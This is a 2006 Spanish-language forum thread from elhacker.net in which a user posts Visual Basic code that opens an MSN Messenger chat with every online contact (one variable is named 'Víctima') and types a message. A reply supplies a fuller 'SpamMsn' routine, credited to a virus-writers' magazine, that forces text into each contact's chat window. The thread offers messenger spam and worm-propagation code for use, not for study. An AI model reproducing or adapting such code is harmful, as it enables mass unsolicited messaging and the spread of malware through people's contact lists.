Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: SheKeL_C$ en 14 Febrero 2006, 19:58 pm



Título: un tiempo de espera
Publicado por: SheKeL_C$ en 14 Febrero 2006, 19:58 pm
estoy con un codigo q abre la ventana del messenger y escribe un texto
Código:
Private Sub Timer1_Timer()
On Error Resume Next
Dim MSN As Object
Dim ablar As Object
Dim person As Object
Set MSN = CreateObject("Messenger.UIAutomation")
    For Each person In MSN.MyContacts
        If person.Status = 2 Then
            Set ablar= MSN.InstantMessage(Víctima.SigninName)
                            Call mEnsaje
        End If
Next
End
End Sub

Function mEnsaje()
SendKeys ("Hola{ENTER}")
End Function

mi problema es q cuando esta escribiendo y esta por el "Ho.." abre otra ventana y escribe el "la..", el error esta en q abre una ventana y antes de escribir la palabraesta abriendo otra.

Lo k quiero es q antes de q vuelva a mirar si el contacto esta conectao y abrirle la ventana aya un periodo de tiempo.

el tiempo del timer es 100 miliseg


Título: Re: un tiempo de espera
Publicado por: EstoyBaneado en 15 Febrero 2006, 00:25 am
extraido de la vieja Mitosis 3>

http://madchat.org/vxdevl/vxmags/mitosis3/articulos/nemlim/MSN.html

Código:
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String

l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "visita Elhacker.net") 'Mensaje a enviar
End Sub


Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub



Salu2.